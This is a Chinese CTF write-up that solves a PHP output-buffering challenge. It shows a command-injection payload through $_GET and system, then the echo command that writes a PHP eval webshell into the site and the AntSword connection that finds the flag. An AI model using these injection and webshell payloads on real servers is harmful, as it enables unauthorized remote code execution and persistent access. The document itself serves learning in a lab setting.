写题记录
先看代码
<?php error_reporting(0);if(!sizeof($_GET))highlight_file(__FILE__);?>
<?=(ob_end_flush()?"":""),(ob_start()?"":"")?>
<?=array_pop($_GET);?>
<?=(ob_start(ob_get_clean())?array_pop($_GET):""),"",(ob_end_flush()?"":"")?>
一些函数
ob_end_flush ( ) : bool
这个函数将送出最顶层缓冲区的内容(如果里边有内容的话),并关闭缓冲区。如果想进一步处理缓冲区中的内容,必须在ob_end_flush()之前调用 ob_get_contents(),因为在调用ob_end_flush()后缓冲区内容被丢弃。
ob_start ( callable $output_callback = null , int $chunk_size = 0 , int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ) : bool
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
array_pop ( array &$array ) : mixed
array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。
参考链接 https://zhuanlan.zhihu.com/p/34947785
paload ?1=dir&?2=system
回显
得到列表 index.php,说明执行命令行命令了
里面还有一些东西是我后面写的
基本思路,命令注入——>往里面写入木马——>蚁剑连上去
然后查lunix命令行命令 如何在命令行里创造文件写入文件
本次用到命令 echo cat
覆盖型写法 (文件里原来的内容被覆盖)
echo "aaa" > a.txt
echo aaa > a.txt
添加型写法 (新内容添加在原来内容的后面)
echo "aaa" >> a.txt
echo aaa >> a.txt
往网站目录里写入木马 payload ?1=echo “<?php @eval($_POST["123456"]); ?>” > webshell.php&?2=system
检测木马是否写入payload ?1= cat webshell.php&2=system
查看源码 可以看见写入的木马
<?php @eval($_POST["123456"]); ?>
然后打开蚁剑
输入url,密码123456连接
入侵成功 翻目录找到flag
所犯错误
1 cat网页回显不会把php代码回显,通过源代码查询 <这个东西有问题 认为一直以为木马没写进去 php代码会被网页解析 <
2 蚁剑无法访问网站,检查代理,全局等
试过bp的端口,后面看网站没有respons所以察觉蚁剑没能连上,
总结,密码错误或者路径错误返回值为空,timeout 表示蚁剑没能访问到网站
被虐的一天,我太菜了qaq